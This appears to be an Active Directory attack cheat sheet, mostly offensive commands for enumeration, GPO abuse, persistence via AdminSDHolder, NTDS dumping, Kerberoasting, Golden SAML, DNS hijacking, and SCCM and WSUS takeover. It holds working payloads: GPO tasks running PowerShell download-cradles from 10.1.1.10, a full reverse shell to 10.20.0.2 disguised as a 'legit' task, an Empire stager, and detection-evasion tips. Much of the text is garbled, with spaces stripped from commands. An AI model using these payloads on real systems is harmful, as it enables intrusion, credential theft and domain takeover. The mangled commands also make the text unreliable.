+Gotohttp://127.0.0.1:7474,usedb:bolt://localhost:7687,user:neo4J,pass:neo4j
+
+
NOTE: Currently BloodHound Community Edition is still a work in progress, it is highly recommended to stay on the original BloodHoundAD/BloodHound version.
+
gitclonehttps://github.com/SpecterOps/BloodHound
+cd examples/docker-compose/
+cat docker-compose.yml|dockercompose-f-up
+# UI: http://localhost:8080/ui/login
+# Username: admin
+# Password: see your Docker logs
+
Replace the customqueries.json file located at /home/username/.config/bloodhound/customqueries.json or C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json.
+
Using PowerView
+
+
Get Current Domain:Get-NetDomain
+
Enum Other Domains:Get-NetDomain -Domain <DomainName>
+
Get Domain SID:Get-DomainSID
+
Get Domain Policy:
+
Get-DomainPolicy
+
+#Will show us the policy configurations of the Domain about system access or kerberos
+(Get-DomainPolicy)."system access"
+(Get-DomainPolicy)."kerberos policy"
+
Get-NetUser
+Get-NetUser-SamAccountName<user>
+Get-NetUser|select cn
+Get-UserProperty
+
+#Check last password change
+Get-UserProperty-Propertiespwdlastset
+
+#Get a specific "string" on a user's attribute
+Find-UserField-SearchFieldDescription-SearchTerm"wtver"
+
+#Enumerate user logged on a machine
+Get-NetLoggedon-ComputerName<ComputerName>
+
+#Enumerate Session Information for a machine
+Get-NetSession-ComputerName<ComputerName>
+
+#Enumerate domain machines of the current/specified domain where specific users are logged into
+Find-DomainUserLocation-Domain<DomainName>|Select-ObjectUserName,SessionFromName
+
+
Enum Domain Computers:
+
Get-NetComputer-FullData
+Get-DomainGroup
+
+#Enumerate Live machines
+Get-NetComputer-Ping
+
+
Enum Groups and Group Members:
+
Get-NetGroupMember-GroupName"<GroupName>"-Domain<DomainName>
+
+#Enumerate the members of a specified group of the domain
+Get-DomainGroup-Identity<GroupName>|Select-Object-ExpandPropertyMember
+
+#Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
+Get-DomainGPOLocalGroup|Select-ObjectGPODisplayName,GroupName
+
+
Enumerate Shares
+
#Enumerate Domain Shares
+Find-DomainShare
+
+#Enumerate Domain Shares the current user has access
+Find-DomainShare-CheckShareAccess
+
+
Enum Group Policies:
+
Get-NetGPO
+
+# Shows active Policy on specified machine
+Get-NetGPO-ComputerName<NameofthePC>
+Get-NetGPOGroup
+
+#Get users that are part of a Machine's local Admin group
+Find-GPOComputerAdmin-ComputerName<ComputerName>
+
# Returns the ACLs associated with the specified account
+Get-ObjectAcl-SamAccountName<AccountName>-ResolveGUIDs
+Get-ObjectAcl-ADSprefix'CN=Administrator, CN=Users'-Verbose
+
+#Search for interesting ACEs
+Invoke-ACLScanner-ResolveGUIDs
+
+#Check the ACLs associated with a specified path (e.g smb share)
+Get-PathAcl-Path"\\Path\Of\A\Share"
+
Get-NetForestDomain
+Get-NetForestDomainForest<ForestName>
+
+#Domains of Forest Enumeration
+Get-NetForestDomain
+Get-NetForestDomainForest<ForestName>
+
+#Map the Trust of the Forest
+Get-NetForestTrust
+Get-NetDomainTrust-Forest<ForestName>
+
+
User Hunting:
+
#Finds all machines on the current domain where the current user has local admin access
+Find-LocalAdminAccess-Verbose
+
+#Find local admins on all machines of the domain:
+Invoke-EnumerateLocalAdmin-Verbose
+
+#Find computers were a Domain Admin OR a specified user has a session
+Invoke-UserHunter
+Invoke-UserHunter-GroupName"RDPUsers"
+Invoke-UserHunter-Stealth
+
+#Confirming admin access:
+Invoke-UserHunter-CheckAccess
+
+
+
Using AD Module
+
+
Get Current Domain:Get-ADDomain
+
Enum Other Domains:Get-ADDomain -Identity <Domain>
Get-ADUser-Filter*-Identity<user>-Properties*
+
+#Get a specific "string" on a user's attribute
+Get-ADUser-Filter'Description -like "*wtver*"'-PropertiesDescription|select Name,Description
+
Sometimes you need to find a machine where a specific user is logged in.
+You can remotely query every machines on the network to get a list of the users's sessions.
$impacket-smbclientAdministrator@10.10.10.10
+# who
+host:\\10.10.10.10,user:Administrator,active:1,idle:0
+
+
PowerView Invoke-UserHunter
+
# Find computers were a Domain Admin OR a specified user has a session
+Invoke-UserHunter
+Invoke-UserHunter-GroupName"RDPUsers"
+Invoke-UserHunter-Stealth
+
Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
+
+
GPO Priorization : Organization Unit > Domain > Site > Local
+
GPO are stored in the DC in \\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\, inside two folders User and Machine.
+If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at Machine\Preferences\ScheduledTasks.
+
Domain members refresh group policy settings every 90 minutes with a random offset of 0 to 30 minutes but it can locally be forced with the following command: gpupdate /force.
# Build and configure SharpGPOAbuse
+$gitclonehttps://github.com/FSecureLABS/SharpGPOAbuse
+$Install-PackageCommandLineParser-Version1.9.3.15
+$ILMerge.exe/out:C:\SharpGPOAbuse.exeC:\Release\SharpGPOAbuse.exeC:\Release\CommandLine.dll
+
+# Adding User Rights
+.\SharpGPOAbuse.exe--AddUserRights--UserRights"SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight"--UserAccountbob.smith--GPOName"Vulnerable GPO"
+
+# Adding a Local Admin
+.\SharpGPOAbuse.exe--AddLocalAdmin--UserAccountbob.smith--GPOName"Vulnerable GPO"
+
+# Configuring a User or Computer Logon Script
+.\SharpGPOAbuse.exe--AddUserScript--ScriptNameStartupScript.bat--ScriptContents"powershell.exe -nop -w hidden -c \"IEX ((new-objectnet.webclient).downloadstring('http://10.1.1.10:80/a'))\""--GPOName"Vulnerable GPO"
+
+# Configuring a Computer or User Immediate Task
+# /!\ Intended to "run once" per GPO refresh, not run once per system
+.\SharpGPOAbuse.exe--AddComputerTask--TaskName"Update"--AuthorDOMAIN\Admin--Command"cmd.exe"--Arguments"/c powershell.exe -nop -w hidden -c \"IEX ((new-objectnet.webclient).downloadstring('http://10.1.1.10:80/a'))\""--GPOName"Vulnerable GPO"
+.\SharpGPOAbuse.exe--AddComputerTask--GPOName"VULNERABLE_GPO"--Author'LAB.LOCAL\User'--TaskName"EvilTask"--Arguments"/c powershell.exe -nop -w hidden -enc BASE64_ENCODED_COMMAND "--Command"cmd.exe"--Force
+
+
Abuse GPO with PowerGPOAbuse
+
+
https://github.com/rootSySdk/PowerGPOAbuse
+
+
PS>..\PowerGPOAbuse.ps1
+
+# Adding a localadmin
+PS>Add-LocalAdmin-Identity'Bobby'-GPOIdentity'SuperSecureGPO'
+
+# Assign a new right
+PS>Add-UserRights-Rights"SeLoadDriverPrivilege","SeDebugPrivilege"-Identity'Bobby'-GPOIdentity'SuperSecureGPO'
+
+# Adding a New Computer/User script
+PS>Add-ComputerScript/Add-UserScript-ScriptName'EvilScript'-ScriptContent$(Get-Contentevil.ps1)-GPOIdentity'SuperSecureGPO'
+
+# Create an immediate task
+PS>Add-GPOImmediateTask-TaskName'eviltask'-Command'powershell.exe /c'-CommandArguments"'$(Get-Contentevil.ps1)'"-AuthorAdministrator-ScopeComputer/User-GPOIdentity'SuperSecureGPO'
+
+
Abuse GPO with pyGPOAbuse
+
$gitclonehttps://github.com/Hackndo/pyGPOAbuse
+
+# Add john user to local administrators group (Password: H4x00r123..)
+./pygpoabuse.pyDOMAIN/user-hasheslm:nt-gpo-id"12345677-ABCD-9876-ABCD-123456789012"
+
+# Reverse shell example
+./pygpoabuse.pyDOMAIN/user-hasheslm:nt-gpo-id"12345677-ABCD-9876-ABCD-123456789012"\
+-powershell\
+-command"\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()"\
+-taskname"Completely Legit Task"\
+-description"Dis is legit, pliz no delete"\
+-user
+
+
Abuse GPO with PowerView
+
# Enumerate GPO
+Get-NetGPO|%{Get-ObjectAcl-ResolveGUIDs-Name$_.Name}
+
+# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
+New-GPOImmediateTask-TaskNameDebugging-GPODisplayNameVulnGPO-CommandArguments'-NoP -NonI -W Hidden -Enc AAAAAAA...'-Force
+
+
Abuse GPO with StandIn
+
# Add a local administrator
+StandIn.exe--gpo--filterShards--localadminuser002
+
+# Set custom right to a user
+StandIn.exe--gpo--filterShards--setuserrightsuser002--grant"SeDebugPrivilege,SeLoadDriverPrivilege"
+
+# Execute a custom command
+StandIn.exe--gpo--filterShards--tasktypecomputer--tasknameLiber--author"REDHOOK\Administrator"--command"C:\I\do\the\thing.exe"--args"with args"
+
If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System or set "dminCount attribute to 0 for the required object.
+
+
The AdminCount attribute is set to 1 automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).
+
+
Find users with AdminCount=1.
+
netexecldap10.10.10.10-uusername-ppassword--admin-count
+# or
+bloodyAD--host10.10.10.10-dexample.lab-ujohn-ppass123getsearch--filter'(admincount=1)'--attrsAMAccountName
+# or
+pythonldapdomaindump.py-uexample.com\john-ppass123-d';'10.10.10.10
+jq-r'.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]'domain_users.json
+# or
+Get-ADUser-LDAPFilter"(objectcategory=person)(samaccountname=*)(admincount=1)"
+Get-ADGroup-LDAPFilter"(objectcategory=group) (admincount=1)"
+# or
+([adsisearcher]"(AdminCount=1)").findall()
+
+
AdminSDHolder Attribute
+
+
The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.
+
+
If you modify the permissions of AdminSDHolder, that permission template will be pushed out to all protected accounts automatically by SDProp (in an hour).
+E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.
+* Windows/Linux:
+
bloodyAD--host10.10.10.10-dexample.lab-ujohn-ppass123addgenericAll'CN=AdminSDHolder,CN=System,DC=example,DC=lab'john
+
+# Clean up after
+bloodyAD--host10.10.10.10-dexample.lab-ujohn-ppass123removegenericAll'CN=AdminSDHolder,CN=System,DC=example,DC=lab'john
+
+* Windows only:
+
# Add a user to the AdminSDHolder group:
+Add-DomainObjectAcl-TargetIdentity'CN=AdminSDHolder,CN=System,DC=domain,DC=local'-PrincipalIdentityusername-RightsAll-Verbose
+
+# Right to reset password for toto using the account titi
+Add-ObjectACL-TargetSamAccountNametoto-PrincipalSamAccountNametiti-RightsResetPassword
+
+# Give all rights
+Add-ObjectAcl-TargetADSprefix'CN=AdminSDHolder,CN=System'-PrincipalSamAccountNametoto-Verbose-RightsAll
+
+
DNS Admins Group
+
+
It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).
The Schema Admins group is a security group in Microsoft Active Directory that provides its members with the ability to make changes to the schema of an Active Directory forest. The schema defines the structure of the Active Directory database, including the attributes and object classes that are used to store information about users, groups, computers, and other objects in the directory.
+
+
Backup Operators Group
+
+
Members of the Backup Operators group can back up and restore all files on a computer, regardless of the permissions that protect those files. Backup Operators also can log on to and shut down the computer. This group cannot be renamed, deleted, or moved. By default, this built-in group has no members, and it can perform backup and restore operations on domain controllers.
+
+
This groups grants the following privileges :
+- SeBackup privileges
+- SeRestore privileges
When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions
+
+
List the current ticket used for authentication with env | grep KRB5CCNAME. The format is portable and the ticket can be reused by setting the environment variable with export KRB5CCNAME=/tmp/ticket.ccache. Kerberos ticket name format is krb5cc_%{uid} where uid is the user UID.
System Security Services Daemon (SSSD) maintains a copy of the database at the path /var/lib/sss/secrets/secrets.ldb.
+The corresponding key is stored as a hidden file at the path /var/lib/sss/secrets/.secrets.mkey.
+By default, the key is only readable if you have root permissions.
+
Invoking SSSDKCMExtractor with the --database and --key parameters will parse the database and decrypt the secrets.
The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.
+
Use klist to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.
sss_obfuscate converts a given password into human-unreadable format and places it into appropriate domain section of the SSSD config file, usually located at /etc/sssd/sssd.conf
+
+
The obfuscated password is put into "ldap_default_authtok" parameter of a given SSSD domain and the "ldap_default_authtok_type" parameter is set to "obfuscated_password".
In Active Directory (AD), the MachineAccountQuota is a limit set on how many computer accounts a specific user or group can create in the domain.
+
When a user attempts to create a new computer account, AD checks the current number of computer accounts that the user has already created against the defined quota for that user or group.
+
However, Active Directory does not store the current count of created machine accounts directly in a user attribute. Instead, you would need to perform a query to count the machine accounts that were created by a specific user.
+
Machine Account Quota Process
+
+
+
Quota Definition: The MachineAccountQuota is defined at the domain level and can be set for individual users or groups. By default, it is set to 10 for the "Domain Admins" group and to 0 for standard users, limiting their capability to create computer accounts.
+
nxcldap<ip>-uuser-ppass-Mmaq
+
+
+
+
Creation Process: When a user attempts to create a new computer account (for example, by using the "Add Computer" option in Active Directory Users and Computers or via PowerShell), the account creation request is made to the domain controllers (DCs).
Quota Evaluation: Before the account is created, Active Directory checks the current count of computer accounts created by that user. This is done by querying the msDS-CreatorSID attribute, which holds the SID of the user who created that object.
+The system compares this count to the MachineAccountQuota value set for that user. If the count is less than the quota, the creation proceeds; if it equals or exceeds the quota, the creation is denied, and an error is returned.
+
# Replace DOMAIN\username with the actual domain and user name
+$user="DOMAIN\username"
+
+# Get the user's SID
+$userSID=(Get-ADUser-Identity$user).SID
+
+# Count the number of computer accounts created by this user
+$computerCount=(Get-ADComputer-Filter{msDS-CreatorSID-eq$userSID}).Count
+
+# Display the count
+$computerCount
+
+
+
+
Failure Handling:
+
+
If the quota is exceeded, the user attempting to create the account will receive an error message indicating that they cannot create a new computer account because they have reached their quota limit.
You will need the following files to extract the ntds :
+- NTDS.dit file
+- SYSTEM hive (C:\Windows\System32\SYSTEM)
+
Usually you can find the ntds in two locations : systemroot\NTDS\ntds.dit and systemroot\System32\ntds.dit.
+
+
systemroot\NTDS\ntds.dit stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).
+
systemroot\System32\ntds.dit is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.
+
+
However you can change the location to a custom one, you will need to query the registry to get the current location.
DCSync is a technique used by attackers to obtain sensitive information, including password hashes, from a domain controller in an Active Directory environment. Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.
OPSEC NOTE: Replication is always done between 2 Computers. Doing a DCSync from a user account can raise alerts.
+
+
Volume Shadow Copy
+
The VSS is a Windows service that allows users to create snapshots or backups of their data at a specific point in time. Attackers can abuse this service to access and copy sensitive data, even if it is currently being used or locked by another process.
A good method for avoiding or reducing detections involves using common forensic tools to dump the NTDS.dit file and the SYSTEM hive. By utilizing widely recognized and legitimate forensic software, the process can be conducted more discreetly and with a lower risk of triggering security alerts.
# Basic wordlist
+# (-O) will Optimize for 32 characters or less passwords
+# (-w 4) will set the workload to "Insane"
+$hashcat64.exe-m1000-w4-O-a0-opathtopotfilepathtohashespathtodico-rmyrules.rule--opencl-device-types1,2
+
+# Generate a custom mask based on a wordlist
+$gitclonehttps://github.com/iphelix/pack/blob/master/README
+$python2statsgen.py../hashcat.potfile-ohashcat.mask
+$python2maskgen.pyhashcat.mask--targettime3600--optindex-q-ohashcat_1H.hcmask
+
+
If the password is not a confidential data (challenges/ctf), you can use online "cracker" like :
UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED (0x00000080), if this bit is set, the password for this user stored encrypted in the directory - but in a reversible form.
+
The key used to both encrypt and decrypt is the SYSKEY, which is stored in the registry and can be extracted by a domain admin.
+This means the hashes can be trivially reversed to the cleartext values, hence the term “reversible encryption”.
+
+
List users with "Store passwords using reversible encryption" enabled
+
RODCs are an alternative for Domain Controllers in less secure physical locations
+- Contains a filtered copy of AD (LAPS and Bitlocker keys are excluded)
+- Any user or group specified in the managedBy attribute of an RODC has local admin access to the RODC server
+
RODC Golden Ticket
+
+
You can forge an RODC golden ticket and present it to a writable Domain Controller only for principals listed in the RODC’s msDS-RevealOnDemandGroup attribute and not in the RODC’s msDS-NeverRevealGroup attribute
# keylistattack.py using SAMR user enumeration without filtering (-full flag)
+keylistattack.pyDOMAIN/user:password@host-rodcNoXXXXX-rodcKeyXXXXXXXXXXXXXXXXXXXX-full
+
+# keylistattack.py defining a target username (-t flag)
+keylistattack.py-kdcserver.domain.local-tuser-rodcNoXXXXX-rodcKeyXXXXXXXXXXXXXXXXXXXXLIST
+
+# secretsdump.py using the Kerberos Key List Attack option (-use-keylist)
+secretsdump.pyDOMAIN/user:password@host-rodcNoXXXXX-rodcKeyXXXXXXXXXXXXXXXXXXXX-use-keylist
+
When you have one the following permissions to the RODC computer object: GenericWrite, GenericAll, WriteDacl, Owns, WriteOwner, WriteProperty.
+
+
Add a domain admin account to the RODC's msDS-RevealOnDemandGroup attribute
+
Windows/Linux:
+
# Get original msDS-RevealOnDemandGroup values
+bloodyAD--host10.10.10.10-ddomain.local-uusername-ppass123getobject'RODC$'--attrmsDS-RevealOnDemandGroup
+distinguishedName:CN=RODC,CN=Computers,DC=domain,DC=local
+msDS-RevealOnDemandGroup:CN=AllowedRODCPasswordReplicationGroup,CN=Users,DC=domain,DC=local
+# Add the previous value plus the admin account
+bloodyAD--host10.10.10.10-dexample.lab-uusername-ppass123set object'RODC$'--attrmsDS-RevealOnDemandGroup-v'CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local'-v'CN=Administrator,CN=Users,DC=domain,DC=local'
+
Active Directory Federation Services (AD FS) is a software component developed by Microsoft that provides users with single sign-on (SSO) access to systems and applications located across organizational boundaries. It uses a claims-based access control authorization model to maintain application security and to provide seamless access to web-based applications that are hosted inside or outside the corporate network.
+
ADFS - DKM Master Key
+
+
The DKM key is stored in the thumbnailPhoto attribute of the AD contact object.
+
+
$key=(Get-ADObject-filter'ObjectClass -eq "Contact" -and name -ne "CryptoPolicy"'-SearchBase"CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=local"-PropertiesthumbnailPhoto).thumbnailPhoto
+[System.BitConverter]::ToString($key)
+
+
ADFS - Trust Relationship
+
Gets the relying party trusts of the Federation Service.
+
+
Search for IssuanceAuthorizationRules
+
Get-AdfsRelyingPartyTrust
+
+
+
ADFS - Golden SAML
+
Golden SAML is a type of attack where an attacker creates a forged SAML (Security Assertion Markup Language) authentication response to impersonate a legitimate user and gain unauthorized access to a service provider. This attack leverages the trust established between the identity provider (IdP) and service provider (SP) in a SAML-based single sign-on (SSO) system.
+
+
Golden SAML are effective even when 2FA is enabled.
+
The token-signing private key is not renewed automatically
+
Changing a user’s password won't affect the generated SAML
+
+
Requirements:
+
+
ADFS service account
+
The private key (PFX with the decryption password)
+
+
Exploitation:
+
+
Run mandiant/ADFSDump on ADFS server as the ADFS service account. It will query the Windows Internal Database (WID): \\.\pipe\MICROSOFT##WID\tsql\query
+
+
Convert PFX and Private Key to binary format
+
# For the pfx
+echo AAAAAQAAAAAEE[...]Qla6|base64-d>EncryptedPfx.bin
+# For the private key
+echo f7404c7f[...]aabd8b|xxd-r-p>dkmKey.bin
+
ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Active Directory will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol.
+
+
Enumerate all records
+
adidnsdump-uDOMAIN\\user--print-zonesdc.domain.corp(--dns-tcp)
+# or
+bloodyAD--host10.10.10.10-dexample.lab-uusername-ppass123getdnsDump
+
+
Query a node
+
dnstool.py-u'DOMAIN\user'-p'password'--record'*'--actionquery$DomainController(--legacy)
+# or
+bloodyAD-ujohn.doe-p'Password123!'--host192.168.100.1-dbloody.labgetsearch--base'DC=DomainDnsZones,DC=bloody,DC=lab'--filter'(&(name=allmightyDC)(objectClass=dnsNode))'--attrdnsRecord
+
+
Add a node and attach a record
+
dnstool.py-u'DOMAIN\user'-p'password'--record'*'--actionadd--data$AttackerIP$DomainController
+# or
+bloodyAD--host10.10.10.10-dexample.lab-uusername-ppass123adddnsRecorddc1.example.lab<AttackerIP>
+
+bloodyAD--host10.10.10.10-dexample.lab-uusername-ppass123removednsRecorddc1.example.lab<AttackerIP>
+
+
+
The common way to abuse ADIDNS is to set a wildcard record and then passively listen to the network.
If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
# crack AS_REP messages with hashcat
+root@kali:impacket-examples$hashcat-m18200--force-a0hashes.asreproastpasswords_kerb.txt
+root@windows:hashcat$hashcat64.exe-m18200'<AS_REP-hash>'-a0c:\wordlists\rockyou.txt
+
+# crack AS_REP messages with john
+C:\Rubeus>john--format=krb5asrep--wordlist=passwords_kerb.txthashes.asreproast
+
+
Mitigations:
+
+
All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
+
+
Kerberoasting w/o domain account
+
+
In September 2022 a vulnerability was discovered by Charlie Clark, ST (Service Tickets) can be obtained through KRB_AS_REQ request without having to control any Active Directory account. If a principal can authenticate without pre-authentication (like AS-REP Roasting attack), it is possible to use it to launch an KRB_AS_REQ request and trick the request to ask for a ST instead of a encrypted TGT, by modifying the sname attribute in the req-body part of the request.
CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the RC4-MD4 algorithm and then brute forcing the session key from the AS-REP using a known plaintext attack, Similar to AS-REP Roasting, it works against accounts that have pre-authentication disabled and the attack is unauthenticated meaning we don’t need a client’s password..
+
+
Research from Project Zero : https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html
"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN
+
+
Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.
# for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute),
+# print the "kerberoast" hash, and delete the temporary SPN set for that operation
+targetedKerberoast.py[-h][-v][-q][-DTARGET_DOMAIN][-UUSERS_FILE][--request-userusername][-oOUTPUT_FILE][--use-ldaps][--only-abuse][--no-abuse][--dc-ipipaddress][-dDOMAIN][-uUSER][-k][--no-pass|-pPASSWORD|-H[LMHASH:]NTHASH|--aes-keyhexkey]
+
+
+
+
Then crack the ticket using the correct hashcat mode ($krb5tgs$23= etype 23)
Timeroasting takes advantage of Windows' NTP authentication mechanism, allowing unauthenticated attackers to effectively request a password hash of any computer account by sending an NTP request with that account's RID
In Kerberos, time is used to ensure that tickets are valid. To achieve this, the clocks of all Kerberos clients and servers in a realm must be synchronized to within a certain tolerance. The default clock skew tolerance in Kerberos is 5 minutes, which means that the difference in time between the clocks of any two Kerberos entities should be no more than 5 minutes.
SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.
+
+
SCCM Application Deployment
+
+
Application Deployment is a process that involves packaging software applications and distributing them to selected computers or devices within an organization
PKI certificates are not required for client authentication
+
Domain accounts credential
+
+
Exploitation:
+
Create a machine or compromise an existing one, then request policies such as NAAConfig
+
Easy mode using SharpSCCM
+
```ps1
+SharpSCCM get secrets -u <username-machine-$> -p <password>
+SharpSCCM get naa
+```
+
+
Stealthy mode by creating a computer.
+
+
Create a machine account with a specific password: addcomputer.py -computer-name 'customsccm$' -computer-pass 'YourStrongPassword123*' 'sccm.lab/carol:SCCMftw' -dc-ip 192.168.33.10
+
In your /etc/hosts file, add an entry for the MECM server: 192.168.33.11 MECM MECM.SCCM.LAB
+
Use sccmwtf to request a policy: python3 sccmwtf.py fake fakepc.sccm.lab MECM 'SCCMLAB\customsccm$' 'YourStrongPassword123*'
+
Parse the policy to extract the credentials and decrypt them using sccmwtf/policysecretunobfuscate.py: cat /tmp/naapolicy.xml |grep 'NetworkAccessUsername\|NetworkAccessPassword' -A 5 |grep -e 'CDATA' | cut -d '[' -f 3|cut -d ']' -f 1| xargs -I {} python3 policysecretunobfuscate.py {}
+
+
CRED-3 Extract currently deployed credentials stored as DPAPI blobs
+
+
Dump currently deployed secrets via WMI. If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain credentials.
SQLRecon.exe/auth:WinToken/host:<SITE-DB>/database:CM_<SITECODE>/module:query/command:"SELECT * FROM SC_UserAccount"
+sccmdecryptpoc.exe0C010000080[...]5D6F0
+
+
+
SCCM Relay
+
TAKEOVER1 - Low Privileges to Database Administrator - MSSQL relay
+
Requirements:
+
+
Database separated from the site server
+
Server site is sysadmin of the database
+
+
Exploitation:
+
+
Generate the query to elevate our user: python3 sccmhunter.py mssql -u carol -p SCCMftw -d sccm.lab -dc-ip 192.168.33.10 -debug -tu carol -sc P01 -stacked
+
Setup a relay with the generated query: ntlmrelayx.py -smb2support -ts -t mssql://192.168.33.12 -q "USE CM_P01; INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (0x01050000000000051500000058ED3FD3BF25B04EDE28E7B85A040000,'SCCMLAB\carol',0,0,'','','','','P01');INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00ALL','29');INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00001','1'); INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00004','1');"
+
Coerce an authentication to your listener using a domain account: petitpotam.py -d sccm.lab -u carol -p SCCMftw 192.168.33.1 192.168.33.11
+
Finally, connect as admin on the MSSQL server: python3 sccmhunter.py admin -u carol@sccm.lab -p 'SCCMftw' -ip 192.168.33.11
Microsoft requires the site server's computer account to be an administrator on the MSSQL server.
+
Exploitation:
+
+
Start a listener for the MSSQL Server: ntlmrelayx -t 192.168.33.12 -smb2support -socks
+
Coerce an authentication from the Site Server using domain credentials (low privileges SCCM NAA retrieved on the same machine works great): petitpotam.py -d sccm.lab -u sccm-naa -p 123456789 192.168.33.1 192.168.33.11
+
Finally use the SOCKS from ntlmrelayx to access the MSSQL server as a local administrator
+
mandiant/CcmPwn - lateral movement script that leverages the CcmExec service to remotely hijack user sessions.
+
+
CcmExec is a service native to SCCM Windows clients that is executed on every interactive session. This technique requires Adminsitrator privileges on the targeted machine.
+
+
+
Backdoor the SCNotification.exe.config to load your DLL
Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network
+
+
The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to load that binary.
Locate using HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate or SharpWSUS.exe locate
+
+
After WSUS Server compromise: SharpWSUS.exe inspect
+
Create a malicious patch: SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"
+
Deploy it on the target: SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"
+
Check status deployment: SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local
+
Clean up: SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group
LmCompatibilityLevel is a Windows security setting that determines the level of authentication protocol used between computers. It specifies how Windows handles NTLM and LAN Manager (LM) authentication protocols, impacting how passwords are stored and how authentication requests are processed. The level can range from 0 to 5, with higher levels generally providing more secure authentication methods.
Level 0 - Send LM and NTLM response; never use NTLM 2 session security. Clients use LM and NTLM authentication, and never use NTLM 2 session security; domain controllers accept LM, NTLM, and NTLM 2 authentication.
+
Level 1 - Use NTLM 2 session security if negotiated. Clients use LM and NTLM authentication, and use NTLM 2 session security if the server supports it; domain controllers accept LM, NTLM, and NTLM 2 authentication.
+
Level 2 - Send NTLM response only. Clients use only NTLM authentication, and use NTLM 2 session security if the server supports it; domain controllers accept LM, NTLM, and NTLM 2 authentication.
+
Level 3 - Send NTLM 2 response only. Clients use NTLM 2 authentication, and use NTLM 2 session security if the server supports it; domain controllers accept LM, NTLM, and NTLM 2 authentication.
+
Level 4 - Domain controllers refuse LM responses. Clients use NTLM authentication, and use NTLM 2 session security if the server supports it; domain controllers refuse LM authentication (that is, they accept NTLM and NTLM 2).
+
